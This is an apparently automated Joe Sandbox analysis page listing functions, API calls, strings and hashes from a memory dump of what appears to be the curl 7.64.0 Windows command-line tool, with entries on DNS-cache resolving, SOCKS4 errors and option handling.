Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$strcmp$_strdupfclose$_close_fileno_isattyfwritestrchrstrrchrstrstr
String ID: (%d) Failed writing body$P"-$bad output glob!$t70$9
API String ID: 4284395340-3740193650
Opcode ID: 533b64c9013c55dabf56d07ffc022f70105828bc1c38caa76ab5289c0a68d633
Instruction ID: a0feaf0028c6e20b03162c7cada0896c91a6e9689398fea6a8f774075a1d32f3
Opcode Fuzzy Hash: 533b64c9013c55dabf56d07ffc022f70105828bc1c38caa76ab5289c0a68d633
Instruction Fuzzy Hash: 4FB158F45083418BEB219F21C859B5BBBE4BF80308F158C2CE5899B295E776D948CF93

Function 0038E020 Relevance: 37.1, APIs: 11, Strings: 10, Instructions: 350stringCOMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 0038E08A
strlen.MSVCRT ref: 0038E0D9

Strings

Added %s:%d:%s to DNS cache, xrefs: 0038E3C6
Resolve address '%s' found illegal!, xrefs: 0038E415
Couldn't parse CURLOPT_RESOLVE removal entry '%s'!, xrefs: 0038E2D7
*, xrefs: 0038E3D4
%s:%d, xrefs: 0038E09F, 0038E2B2
RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 0038E3F3
@*?u, xrefs: 0038E0C1, 0038E301
Couldn't parse CURLOPT_RESOLVE entry '%s'!, xrefs: 0038E443
%255[^:]:%d, xrefs: 0038E084
RESOLVE %s:%d is - old addresses discarded!, xrefs: 0038E353

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: sscanfstrlen
String ID: %255[^:]:%d$%s:%d$*$@*?u$Added %s:%d:%s to DNS cache$Couldn't parse CURLOPT_RESOLVE entry '%s'!$Couldn't parse CURLOPT_RESOLVE removal entry '%s'!$RESOLVE %s:%d is - old addresses discarded!$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal!
API String ID: 2693918933-3148577572
Opcode ID: b55b7a0c836c8f33be26d1756f251b86733427abfdad7d9feff458b9a81ae257
Instruction ID: 087302d0fe0cd8ccb938ac47e00230c9b1a9c8244161c609ac8747e466e77899
Opcode Fuzzy Hash: b55b7a0c836c8f33be26d1756f251b86733427abfdad7d9feff458b9a81ae257
Instruction Fuzzy Hash: F8B11AB1904345ABDB22BF21DC45B6B7BAD9F52704F094C68F8898B243E775CA14C7A3

Function 00370260 Relevance: 36.2, APIs: 9, Strings: 15, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 0037029F
strcmp.MSVCRT ref: 003702B5
strcmp.MSVCRT ref: 003702CB
strcmp.MSVCRT ref: 003702E1
strcmp.MSVCRT ref: 003702F7
strcmp.MSVCRT ref: 0037030D
strcmp.MSVCRT ref: 00370323
strcmp.MSVCRT ref: 00370339
free.MSVCRT ref: 003704BD

Strings

%ldL, xrefs: 00370456
%s set to a %s, xrefs: 003704A8
CURLOPT_SSL_VERIFYPEER, xrefs: 00370299
CURLOPT_SSL_ENABLE_NPN, xrefs: 003702C5
curl_easy_setopt(hnd, %s, "%s");, xrefs: 003704F0
CURLOPT_PROXY_SSL_VERIFYPEER, xrefs: 00370307
functionpointer, xrefs: 0037037E
CURLOPT_SSL_VERIFYHOST, xrefs: 003702AF
curl_easy_setopt(hnd, %s, %s);, xrefs: 00370510
CURLOPT_TCP_NODELAY, xrefs: 003702F1
CURLOPT_PROXY_SSL_VERIFYHOST, xrefs: 0037031D
CURLOPT_SOCKS5_AUTH, xrefs: 00370333
objectpointer, xrefs: 0037040E, 003704A0
CURLOPT_SSL_ENABLE_ALPN, xrefs: 003702DB
(curl_off_t)%I64d, xrefs: 0037039E

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strcmp$free
String ID: %ldL$%s set to a %s$(curl_off_t)%I64d$CURLOPT_PROXY_SSL_VERIFYHOST$CURLOPT_PROXY_SSL_VERIFYPEER$CURLOPT_SOCKS5_AUTH$CURLOPT_SSL_ENABLE_ALPN$CURLOPT_SSL_ENABLE_NPN$CURLOPT_SSL_VERIFYHOST$CURLOPT_SSL_VERIFYPEER$CURLOPT_TCP_NODELAY$curl_easy_setopt(hnd, %s, "%s");$curl_easy_setopt(hnd, %s, %s);$functionpointer$objectpointer
API String ID: 3401341699-411265327
Opcode ID: 8b3e00a1ba167a1c5f41613a868c5a75c7e0edf5d1601a9c5354b93a22101b64
Instruction ID: 685d5f62f3b08b895e4ee11865f73d45636907ba33b5751bc648ff2d9ec4a1a7
Opcode Fuzzy Hash: 8b3e00a1ba167a1c5f41613a868c5a75c7e0edf5d1601a9c5354b93a22101b64
Instruction Fuzzy Hash: 63515071644301DBDB3D6A62DD41A6B76DA9F84344F068038FD8C972C2F668DD00CAB3

Function 0036E218 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 245fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003710E0: _strdup.MSVCRT(?), ref: 00371316

free.MSVCRT ref: 0036A201
fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
_strdup.MSVCRT(?), ref: 0036A7DE
fwrite.MSVCRT ref: 0036AA42
fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
_close.MSVCRT ref: 0036B145
free.MSVCRT ref: 0036E274
free.MSVCRT ref: 0036E305
free.MSVCRT ref: 0036E32F
free.MSVCRT ref: 0036E341
free.MSVCRT ref: 0036E353

Strings

curl: (%d) %s, xrefs: 0036AA19
P"-, xrefs: 0036E318
More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione, xrefs: 0036AA3D
(%d) Failed writing body, xrefs: 0036AFC9
<, xrefs: 0036AA4A
t70, xrefs: 0036B183

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_strdupfclose$_closefwrite
String ID: (%d) Failed writing body$<$More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione$P"-$curl: (%d) %s$t70
API String ID: 3760120566-2420039810
Opcode ID: 96fc3fcd70a0838bd8559406f0a2393e38d50f3dec896f9a498a53ce14813f5c
Instruction ID: 2690823c489eb9f29e41aa132851d218524073b858b826e7b3270be6d2b61d8e
Opcode Fuzzy Hash: 96fc3fcd70a0838bd8559406f0a2393e38d50f3dec896f9a498a53ce14813f5c
Instruction Fuzzy Hash: 7C917CB46083419FEB229F21C849B5BBBE5BF80308F158C2CE4899B295E775D948DF53

Function 00362F90 Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 131stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00362F9A
_strdup.MSVCRT(?), ref: 00362FA5
malloc.MSVCRT ref: 00362FC0
strtok.MSVCRT(00000000,005F262C), ref: 00362FDB
strtok.MSVCRT(00000000,005F262C), ref: 00362FF4
strlen.MSVCRT ref: 00363023
_mkdir.MSVCRT ref: 0036306D
_errno.MSVCRT ref: 0036307A
strtok.MSVCRT(00000000,005F262C), ref: 0036308C
free.MSVCRT ref: 003630A0
free.MSVCRT ref: 003630A9
_errno.MSVCRT ref: 003630BB

Strings

No space left on the file system that will contain the directory %s., xrefs: 003630F2
%s resides on a read-only file system., xrefs: 003630FA
%s%s, xrefs: 0036303C, 0036305D
You don't have permission to create %s., xrefs: 003630D3
The directory name %s is too long., xrefs: 00363102
Cannot create directory %s because you exceeded your quota., xrefs: 003630E2
Error creating directory %s., xrefs: 003630EA

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strtok$_errnofreestrlen$_mkdir_strdupmalloc
String ID: %s resides on a read-only file system.$%s%s$Cannot create directory %s because you exceeded your quota.$Error creating directory %s.$No space left on the file system that will contain the directory %s.$The directory name %s is too long.$You don't have permission to create %s.
API String ID: 1120732356-1086585624
Opcode ID: 53f1d621c076eb367a04c0e1aecb6e81f7dac1ee4b27d851559851a19f5c82d5
Instruction ID: d9943251f37df882ff8635c065821552efc8a2feb79a435fa5032eccb33210ba
Opcode Fuzzy Hash: 53f1d621c076eb367a04c0e1aecb6e81f7dac1ee4b27d851559851a19f5c82d5
Instruction Fuzzy Hash: 0E316DF1A442447BEA1776215C46E7B3E6CEB92704F054039FD46D6286FB199E08D2B3

Function 003A6CE0 Relevance: 31.8, APIs: 6, Strings: 15, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003A6DBE

Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397002
Part of subcall function 00396FB0: strlen.MSVCRT ref: 00397039

memcpy.MSVCRT(?,?,00000001), ref: 003A6EA9
strlen.MSVCRT ref: 003A6EB2
strlen.MSVCRT ref: 003A6ED1
strcpy.MSVCRT(?,?), ref: 003A6EED
strlen.MSVCRT ref: 003A6F2D

Strings

Failed to resolve "%s" for SOCKS4 connect., xrefs: 003A6FDC
Failed to receive SOCKS4 connect request ack., xrefs: 003A6FA5
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 003A706F
SOCKS4%s request granted., xrefs: 003A7026
SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 003A6E83
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 003A7102
SOCKS4 connection to %s not supported, xrefs: 003A6FBE
Failed to send SOCKS4 connect request., xrefs: 003A6F97
Connection time-out, xrefs: 003A6DDB
SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 003A6D44
Too long SOCKS proxy name, can't use!, xrefs: 003A6DD1
SOCKS4 communication to %s:%d, xrefs: 003A6D73
SOCKS4 reply has wrong version, version should be 4., xrefs: 003A6F90
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 003A70D2
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 003A70A2

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$memcpystrcpy
String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 reply has wrong version, version should be 4.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$Too long SOCKS proxy name, can't use!
API String ID: 2802800850-2867532396
Opcode ID: 86c20ba04536cbed8b27a9e8faaac788204cc4275c490c6f3482d24cff56c1c2
Instruction ID: ad4a8b6fb66b28ed413a390b2c49634fad291172e5100dab69d9633149474bbf
Opcode Fuzzy Hash: 86c20ba04536cbed8b27a9e8faaac788204cc4275c490c6f3482d24cff56c1c2
Instruction Fuzzy Hash: 75B128B150C391ABD7229A219C46EBFBEE9DFD3745F0D046DF8C906242E2219958D3B3

Function 0036CED8 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 176fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0036AA42
fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
_close.MSVCRT ref: 0036B145
free.MSVCRT ref: 0036CEDC

Strings

Hj, xrefs: 0036ADB6
P"-, xrefs: 0036E318
(%d) Failed writing body, xrefs: 0036AFC9
t70, xrefs: 0036B183

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_closefclosefwrite
String ID: (%d) Failed writing body$P"-$t70$Hj
API String ID: 4020199869-2496123061
Opcode ID: 174c877698aa6baf817136e96dbe63b921b3fbd9043dda83c31b4f7a09ee875c
Instruction ID: 3a9e85fa1df9660e02280ddf92d9568ebca4bec882e21a0914528c19f54d5bb1
Opcode Fuzzy Hash: 174c877698aa6baf817136e96dbe63b921b3fbd9043dda83c31b4f7a09ee875c
Instruction Fuzzy Hash: AD717BF45083808BEB259F21D85975BFBE5BB80304F148C2DE489AB295E776D848DF53

Function 00363A40 Relevance: 28.2, APIs: 3, Strings: 13, Instructions: 238filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00363A51
fopen.MSVCRT ref: 00363A68
fclose.MSVCRT ref: 00363C98

Strings

%s, xrefs: 00363A8E, 00363AA1, 00363AB4, 00363AC7, 00363ADA, 00363AED, 00363B00, 00363B13, 00363B26, 00363B39, 00363C4C, 00363C5F, 00363C72, 00363C85
/********* Sample code generated by the curl command line tool **********, xrefs: 00363A89
int main(int argc, char *argv[]), xrefs: 00363AFB
#include <curl/curl.h>, xrefs: 00363AD5
* https://curl.haxx.se/libcurl/c/curl_easy_setopt.html, xrefs: 00363AAF
return (int)ret;, xrefs: 00363C5A
CURL *hnd;, xrefs: 00363B34
* All curl_easy_setopt() options are documented at:, xrefs: 00363A9C
%s, xrefs: 00363B62, 00363BA2, 00363BE1, 00363C32
************************************************************************/, xrefs: 00363AC2
Failed to open %s to write libcurl code!, xrefs: 00363CA3
/**** End of sample code ****/, xrefs: 00363C80
CURLcode ret;, xrefs: 00363B21

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fclosefopenstrcmp
String ID: %s$ CURL *hnd;$ CURLcode ret;$ return (int)ret;$ * All curl_easy_setopt() options are documented at:$ * https://curl.haxx.se/libcurl/c/curl_easy_setopt.html$ ************************************************************************/$#include <curl/curl.h>$%s$/**** End of sample code ****/$/********* Sample code generated by the curl command line tool **********$Failed to open %s to write libcurl code!$int main(int argc, char *argv[])
API String ID: 3326340520-4013719026
Opcode ID: c4116c8025699e911938ec0f641e8d270b13a51ff6add7d264dc9f8f4c52ea2c
Instruction ID: 9b17386c218e9bca3eff0de3d0c2dbc03b80fc22d36b47530c777ca95ee98602
Opcode Fuzzy Hash: c4116c8025699e911938ec0f641e8d270b13a51ff6add7d264dc9f8f4c52ea2c
Instruction Fuzzy Hash: DC51D4E5A4170477DB227E50BCC7F663E287F22784F148030FA496E24BEB9D87596263

Function 0036BCD0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 173COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036A201
fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
_close.MSVCRT ref: 0036B145
free.MSVCRT ref: 0036E274

Part of subcall function 00370260: strcmp.MSVCRT ref: 0037029F
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702B5
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702CB
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702E1
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702F7
Part of subcall function 00370260: strcmp.MSVCRT ref: 0037030D
Part of subcall function 00370260: strcmp.MSVCRT ref: 00370323
Part of subcall function 00370260: strcmp.MSVCRT ref: 00370339

free.MSVCRT ref: 0036E305
free.MSVCRT ref: 0036E32F
free.MSVCRT ref: 0036E341
free.MSVCRT ref: 0036E353

Part of subcall function 00370260: free.MSVCRT ref: 003704BD

Strings

CURLOPT_TRANSFER_ENCODING, xrefs: 0036BD95
CURLOPT_HTTP_VERSION, xrefs: 0036BCD9
P"-, xrefs: 0036E318
t-h{`, xrefs: 0036BD55
CURLOPT_POSTREDIR, xrefs: 0036BD2A
CURLOPT_HTTP09_ALLOWED, xrefs: 0036BDC7
CURLOPT_ACCEPT_ENCODING, xrefs: 0036BD61

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$strcmp$fclose$_close
String ID: CURLOPT_ACCEPT_ENCODING$CURLOPT_HTTP09_ALLOWED$CURLOPT_HTTP_VERSION$CURLOPT_POSTREDIR$CURLOPT_TRANSFER_ENCODING$P"-$t-h{`
API String ID: 3512857261-2186381721
Opcode ID: d68bf90c0bcb42bcf46ef6cf102f0a528d00c2fc2b0da66c948804f64fc9a469
Instruction ID: 715f2afd9f24a52b28709c46ad7827e434b0082083801df0b54d64337cc3c1ec
Opcode Fuzzy Hash: d68bf90c0bcb42bcf46ef6cf102f0a528d00c2fc2b0da66c948804f64fc9a469
Instruction Fuzzy Hash: 6C61A2B5604341AFEB269F14CC46B5BB7E2AF80704F058C2CF589AB296E771D858DB43

Function 00369480 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00371AF0: strlen.MSVCRT ref: 00371B32

printf.MSVCRT ref: 0036948C
printf.MSVCRT ref: 0036949E
printf.MSVCRT ref: 003694B6
printf.MSVCRT ref: 003694D6
putchar.MSVCRT(0000000A), ref: 003694E9
printf.MSVCRT ref: 00369501
printf.MSVCRT ref: 0036952B
putchar.MSVCRT(0000000A), ref: 0036953A

Strings

Release-Date: %s, xrefs: 00369499
curl 7.64.0 (i386-pc-win32) %s, xrefs: 00369487
b=(, xrefs: 00369501
%s , xrefs: 003694D1, 00369526
Protocols: , xrefs: 003694B1
2019-02-06, xrefs: 00369494
Features: , xrefs: 003694FC

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: printf$putchar$strlen
String ID: %s $2019-02-06$Features: $Protocols: $Release-Date: %s$curl 7.64.0 (i386-pc-win32) %s$b=(
API String ID: 348636431-1300552597
Opcode ID: 20ea537bb956c6a493ca810c2342f8b0f91f145fb4f61f4c1cefb7c876ac1200
Instruction ID: db82afd287f96f55c77a0be1c085df86918e33b62abed59dce4177d1cfae59f5
Opcode Fuzzy Hash: 20ea537bb956c6a493ca810c2342f8b0f91f145fb4f61f4c1cefb7c876ac1200
Instruction Fuzzy Hash: 721123F9E00741DBCB11EB21AC83F207A603F11301F094221FF9A5B281FA26E964C672

Function 003625E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

_fileno.MSVCRT ref: 00362653
_isatty.MSVCRT ref: 0036265C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00362679
malloc.MSVCRT ref: 00362689
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 003626A9
_fileno.MSVCRT ref: 003626C4
_get_osfhandle.MSVCRT ref: 003626CD
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 003626E0
free.MSVCRT ref: 003626E9

Part of subcall function 00362510: fopen.MSVCRT ref: 00362536
Part of subcall function 00362510: fclose.MSVCRT ref: 00362543
Part of subcall function 00362510: strerror.MSVCRT ref: 0036254F

fwrite.MSVCRT ref: 0036270A
fflush.MSVCRT ref: 00362755
free.MSVCRT ref: 00362766

Strings

Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file., xrefs: 00362788

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ByteCharMultiWide_filenofree$ConsoleWrite_get_osfhandle_isattyfclosefflushfopenfwritemallocstrerror
